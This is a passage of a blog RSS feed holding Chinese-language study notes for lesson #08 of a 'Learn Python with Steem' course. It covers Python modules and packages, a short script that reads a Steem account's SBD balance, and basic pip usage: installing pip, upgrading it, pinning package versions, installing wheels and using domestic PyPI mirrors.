</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">2018/08/18 23:01:57
</span></span><span class="line"><span class="cl">&lt;class &#39;str&#39;&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><hr>
<h2 id="da-series---learn-python-with-steem">[DA series - Learn Python with Steem]</h2>
<ul>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-01-python">[DA series - Learn Python with Steem #01] 安裝Python、文字編輯器與哈囉！</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-02">[DA series - Learn Python with Steem #02] 變數與資料型態</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-03">[DA series - Learn Python with Steem #03] 邏輯判斷</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-04">[DA series - Learn Python with Steem #04] 迴圈</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">[DA series – Learn Python with Steem #05] 基本資料結構</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-06">[DA series - Learn Python with Steem #06] 函式</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-07">[DA series - Learn Python with Steem #07] 類別</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-08-modules-steem">[DA series - Learn Python with Steem #08] 函式庫(Modules)的安裝與使用，準備好玩Steem！</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-09-steem-diy-1-steem">[DA series - Learn Python with Steem #09] Steem 小工具DIY #1 - 我的Steem小偵探</a></li>
<li><a href="https://busy.org/@deanliu/da-series-learn-python-with-steem-10-steem-diy-2">[DA series - Learn Python with Steem #10] Steem 小工具DIY #2 - 我的文章列表（一）</a></li>
</ul>
<h2 id="我的笔记">我的笔记：</h2>
<ul>
<li><a href="https://busy.org/@yjcps/learn-python-with-steem-01">Learn Python with Steem #01 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem02-2ilwe1ti59">Learn Python with Steem #02 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem03-l5w15fszh9">Learn Python with Steem #03 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem04-0d8jly8ypt">Learn Python with Steem #04 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem05-n09ajzsh91">Learn Python with Steem #05 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem06-c0tgbg3puu">Learn Python with Steem #06 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem07-2tx2pvwskh">Learn Python with Steem #07 笔记</a></li>
<li><a href="https://busy.org/@yjcps/learnpythonwithsteem08-5w4cklx91x">Learn Python with Steem #08 笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #08 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-08-16-learn-python-with-steem-08-e7ac94e8aeb0/</link>
      <pubDate>Thu, 16 Aug 2018 06:41:31 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-16-learn-python-with-steem-08-e7ac94e8aeb0/</guid>
      <description>Learn Python with Steem #08 笔记 [toc] 划重点 模块、包 模块是一个XXX.py文件，Python中以模块的方式组织代码片段（函数，类，变量）。 包是一个目录，里面有一些</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-08-笔记">Learn Python with Steem #08 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>模块、包 模块是一个XXX.py文件，Python中以模块的方式组织代码片段（函数，类，变量）。</p>
<p>包是一个目录，里面有一些模块或者子目录，Python中以包的方式管理模块。</p>
</li>
<li>
<p>使用模块</p>
<p>要使用模块，需要先导入模块，使用关键字import来导入模块。</p>
<p>这是我们使用Python标准库和第三方库的方式。</p>
</li>
<li>
<p>安装模块</p>
<p>第三方模块需要自己安装，可以通过Python的包管理工具pip安装、还可以下载模块源码来安装。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">steem</span> <span class="kn">import</span> <span class="n">Steem</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">Steem</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">balance</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get_account</span><span class="p">(</span><span class="s1">&#39;yjcps&#39;</span><span class="p">)[</span><span class="s1">&#39;sbd_balance&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">balance</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4.484 SBD
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">%%</span><span class="n">file</span> <span class="n">check_balance</span><span class="o">.</span><span class="n">py</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">steem</span> <span class="kn">import</span> <span class="n">Steem</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">account_name</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">Steem</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">balance</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get_account</span><span class="p">(</span><span class="n">account_name</span><span class="p">)[</span><span class="s1">&#39;sbd_balance&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">balance</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Overwriting check_balance.py
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">python</span> <span class="n">check_balance</span><span class="o">.</span><span class="n">py</span> <span class="n">yjcps</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">4.484 SBD
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">python</span> <span class="n">check_balance</span><span class="o">.</span><span class="n">py</span> <span class="n">dapeng</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">129.840 SBD
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="补充">补充</h2>
<h3 id="pip的安装与使用">pip的安装与使用</h3>
<ul>
<li>安装pip</li>
</ul>
<p>先下载get-pip.py文件</p>
<blockquote>
<p>curl <a href="https://bootstrap.pypa.io/get-pip.py">https://bootstrap.pypa.io/get-pip.py</a> -o get-pip.py</p>
</blockquote>
<p>也可以在浏览器访问网址 <a href="https://bootstrap.pypa.io/get-pip.py">https://bootstrap.pypa.io/get-pip.py</a> ，直接下载保存文件。</p>
<p>然后终端用Python执行这个文件</p>
<blockquote>
<p>python get-pip.py</p>
</blockquote>
<ul>
<li>升级pip</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">install</span> <span class="o">-</span><span class="n">U</span> <span class="n">pip</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Requirement already up-to-date: pip in i:\python~1\lib\site-packages (18.0)
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">python</span> <span class="o">-</span><span class="n">m</span> <span class="n">pip</span> <span class="n">install</span> <span class="o">-</span><span class="n">U</span> <span class="n">pip</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Requirement already up-to-date: pip in i:\python~1\lib\site-packages (18.0)
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>用pip安装Python包</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">install</span> <span class="n">requests</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">Collecting</span> <span class="n">requests</span>
</span></span><span class="line"><span class="cl">  <span class="n">Downloading</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">files</span><span class="o">.</span><span class="n">pythonhosted</span><span class="o">.</span><span class="n">org</span><span class="o">/</span><span class="n">packages</span><span class="o">/</span><span class="mi">65</span><span class="o">/</span><span class="mi">47</span><span class="o">/</span><span class="mf">7e02164</span><span class="n">a2a3db50ed6d8a6ab1d6d60b69c4c3fdf57a284257925dfc12bda</span><span class="o">/</span><span class="n">requests</span><span class="o">-</span><span class="mf">2.19</span><span class="o">.</span><span class="mi">1</span><span class="o">-</span><span class="n">py2</span><span class="o">.</span><span class="n">py3</span><span class="o">-</span><span class="n">none</span><span class="o">-</span><span class="n">any</span><span class="o">.</span><span class="n">whl</span> <span class="p">(</span><span class="mi">91</span><span class="n">kB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">chardet</span><span class="o">&lt;</span><span class="mf">3.1</span><span class="o">.</span><span class="mi">0</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">3.0</span><span class="o">.</span><span class="mi">2</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="p">)</span> <span class="p">(</span><span class="mf">3.0</span><span class="o">.</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">urllib3</span><span class="o">&lt;</span><span class="mf">1.24</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">1.21</span><span class="o">.</span><span class="mi">1</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="p">)</span> <span class="p">(</span><span class="mf">1.22</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">idna</span><span class="o">&lt;</span><span class="mf">2.8</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">2.5</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="p">)</span> <span class="p">(</span><span class="mf">2.6</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">certifi</span><span class="o">&gt;=</span><span class="mf">2017.4</span><span class="o">.</span><span class="mi">17</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="p">)</span> <span class="p">(</span><span class="mf">2018.4</span><span class="o">.</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Installing</span> <span class="n">collected</span> <span class="n">packages</span><span class="p">:</span> <span class="n">requests</span>
</span></span><span class="line"><span class="cl"><span class="n">Successfully</span> <span class="n">installed</span> <span class="n">requests</span><span class="o">-</span><span class="mf">2.19</span><span class="o">.</span><span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wxpy</span> <span class="mf">0.3</span><span class="o">.</span><span class="mf">9.8</span> <span class="n">has</span> <span class="n">requirement</span> <span class="n">itchat</span><span class="o">==</span><span class="mf">1.2</span><span class="o">.</span><span class="mi">32</span><span class="p">,</span> <span class="n">but</span> <span class="n">you</span><span class="s1">&#39;ll have itchat 1.3.10 which is incompatible.</span>
</span></span><span class="line"><span class="cl"><span class="n">pyspider</span> <span class="mf">0.3</span><span class="o">.</span><span class="mi">10</span> <span class="n">has</span> <span class="n">requirement</span> <span class="n">tornado</span><span class="o">&lt;=</span><span class="mf">4.5</span><span class="o">.</span><span class="mi">3</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">3.2</span><span class="p">,</span> <span class="n">but</span> <span class="n">you</span><span class="s1">&#39;ll have tornado 5.0.2 which is incompatible.</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 指定包的版本</span>
</span></span><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">install</span> <span class="n">requests</span><span class="o">==</span><span class="mf">2.17.1</span>     
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">Collecting</span> <span class="n">requests</span><span class="o">==</span><span class="mf">2.17</span><span class="o">.</span><span class="mi">1</span>
</span></span><span class="line"><span class="cl">  <span class="n">Downloading</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">files</span><span class="o">.</span><span class="n">pythonhosted</span><span class="o">.</span><span class="n">org</span><span class="o">/</span><span class="n">packages</span><span class="o">/</span><span class="mi">50</span><span class="o">/</span><span class="mi">41</span><span class="o">/</span><span class="n">f6fdaf24a80c726a72f76b15869a20734b7a527081129a380ddce99ffae0</span><span class="o">/</span><span class="n">requests</span><span class="o">-</span><span class="mf">2.17</span><span class="o">.</span><span class="mi">1</span><span class="o">-</span><span class="n">py2</span><span class="o">.</span><span class="n">py3</span><span class="o">-</span><span class="n">none</span><span class="o">-</span><span class="n">any</span><span class="o">.</span><span class="n">whl</span> <span class="p">(</span><span class="mi">87</span><span class="n">kB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">chardet</span><span class="o">&lt;</span><span class="mf">3.1</span><span class="o">.</span><span class="mi">0</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">3.0</span><span class="o">.</span><span class="mi">2</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="o">==</span><span class="mf">2.17</span><span class="o">.</span><span class="mi">1</span><span class="p">)</span> <span class="p">(</span><span class="mf">3.0</span><span class="o">.</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">urllib3</span><span class="o">&lt;</span><span class="mf">1.22</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">1.21</span><span class="o">.</span><span class="mi">1</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="o">==</span><span class="mf">2.17</span><span class="o">.</span><span class="mi">1</span><span class="p">)</span> <span class="p">(</span><span class="mf">1.21</span><span class="o">.</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">certifi</span><span class="o">&gt;=</span><span class="mf">2017.4</span><span class="o">.</span><span class="mi">17</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="o">==</span><span class="mf">2.17</span><span class="o">.</span><span class="mi">1</span><span class="p">)</span> <span class="p">(</span><span class="mf">2018.4</span><span class="o">.</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">idna</span><span class="o">&lt;</span><span class="mf">2.6</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">2.5</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="o">==</span><span class="mf">2.17</span><span class="o">.</span><span class="mi">1</span><span class="p">)</span> <span class="p">(</span><span class="mf">2.5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Installing</span> <span class="n">collected</span> <span class="n">packages</span><span class="p">:</span> <span class="n">requests</span>
</span></span><span class="line"><span class="cl"><span class="n">Successfully</span> <span class="n">installed</span> <span class="n">requests</span><span class="o">-</span><span class="mf">2.17</span><span class="o">.</span><span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">wxpy</span> <span class="mf">0.3</span><span class="o">.</span><span class="mf">9.8</span> <span class="n">has</span> <span class="n">requirement</span> <span class="n">itchat</span><span class="o">==</span><span class="mf">1.2</span><span class="o">.</span><span class="mi">32</span><span class="p">,</span> <span class="n">but</span> <span class="n">you</span><span class="s1">&#39;ll have itchat 1.3.10 which is incompatible.</span>
</span></span><span class="line"><span class="cl"><span class="n">pyspider</span> <span class="mf">0.3</span><span class="o">.</span><span class="mi">10</span> <span class="n">has</span> <span class="n">requirement</span> <span class="n">tornado</span><span class="o">&lt;=</span><span class="mf">4.5</span><span class="o">.</span><span class="mi">3</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">3.2</span><span class="p">,</span> <span class="n">but</span> <span class="n">you</span><span class="s1">&#39;ll have tornado 5.0.2 which is incompatible.</span>
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>安装Wheels格式的包</li>
</ul>
<p>可以在 <a href="https://pypi.org/">https://pypi.org/</a> 网站搜索Python包，下载与你环境对应的wheel文件</p>
<p><img loading="lazy" src="https://ipfs.busy.org/ipfs/QmY9kzBawm5aN53Yq846Hc2PeX33NSGSi3iYz1KYeKtSBj" alt="图片.png"  />
</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 安装命令</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">install</span> <span class="n">K</span><span class="p">:</span>\<span class="n">scrypt</span><span class="o">-</span><span class="mf">0.8.5</span><span class="o">-</span><span class="n">cp36</span><span class="o">-</span><span class="n">cp36m</span><span class="o">-</span><span class="n">win32</span><span class="o">.</span><span class="n">whl</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">Requirement already satisfied: scrypt==0.8.5 from file:///K:/scrypt-0.8.5-cp36-cp36m-win32.whl in i:\python~1\lib\site-packages (0.8.5)
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Requirement &#39;K:\\scrypt-0.8.5-cp36-cp36m-win32.whl&#39; looks like a filename, but the file does not exist
</span></span></code></pre></td></tr></table>
</div>
</div><ul>
<li>指定安装的镜像源</li>
</ul>
<p>一般来说，使用国内的镜像源按Python包速度更快、更顺畅。</p>
<ul>
<li>V2EX：http://pypi.v2ex.com/simple</li>
<li>豆瓣：http://pypi.douban.com/simple</li>
<li>中国科学技术大学：http://pypi.mirrors.ustc.edu.cn/simple/</li>
<li>清华：https://pypi.tuna.tsinghua.edu.cn/simple</li>
</ul>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="err">!</span><span class="n">pip</span> <span class="n">install</span> <span class="o">-</span><span class="n">i</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">pypi</span><span class="o">.</span><span class="n">douban</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">simple</span><span class="o">/</span> <span class="n">requests</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="n">Looking</span> <span class="ow">in</span> <span class="n">indexes</span><span class="p">:</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">pypi</span><span class="o">.</span><span class="n">douban</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">simple</span><span class="o">/</span>
</span></span><span class="line"><span class="cl"><span class="n">Collecting</span> <span class="n">requests</span>
</span></span><span class="line"><span class="cl">  <span class="n">Downloading</span> <span class="n">https</span><span class="p">:</span><span class="o">//</span><span class="n">pypi</span><span class="o">.</span><span class="n">doubanio</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">packages</span><span class="o">/</span><span class="mi">65</span><span class="o">/</span><span class="mi">47</span><span class="o">/</span><span class="mf">7e02164</span><span class="n">a2a3db50ed6d8a6ab1d6d60b69c4c3fdf57a284257925dfc12bda</span><span class="o">/</span><span class="n">requests</span><span class="o">-</span><span class="mf">2.19</span><span class="o">.</span><span class="mi">1</span><span class="o">-</span><span class="n">py2</span><span class="o">.</span><span class="n">py3</span><span class="o">-</span><span class="n">none</span><span class="o">-</span><span class="n">any</span><span class="o">.</span><span class="n">whl</span> <span class="p">(</span><span class="mi">91</span><span class="n">kB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">urllib3</span><span class="o">&lt;</span><span class="mf">1.24</span><span class="p">,</span><span class="o">&gt;=</span><span class="mf">1.21</span><span class="o">.</span><span class="mi">1</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="p">)</span> <span class="p">(</span><span class="mf">1.21</span><span class="o">.</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">Requirement</span> <span class="n">already</span> <span class="n">satisfied</span><span class="p">:</span> <span class="n">certifi</span><span class="o">&gt;=</span><span class="mf">2017.4</span><span class="o">.</span><span class="mi">17</span> <span class="ow">in</span> <span class="n">i</span><span class="p">:</span>\<span class="n">python</span><span class="o">~</span><span class="mi">1</span>\<span class="n">lib</span>\<span class="n">site</span><span class="o">-</span><span class="n">packages</span> <span class="p">(</span><span class="n">from</span> <span class="n">requests</span><span class="p">)</span> <span class="p">(</span><span class="mf">2018.4</span><span class="o">.</span><span class="mi">16</span><span class="p">)</span>
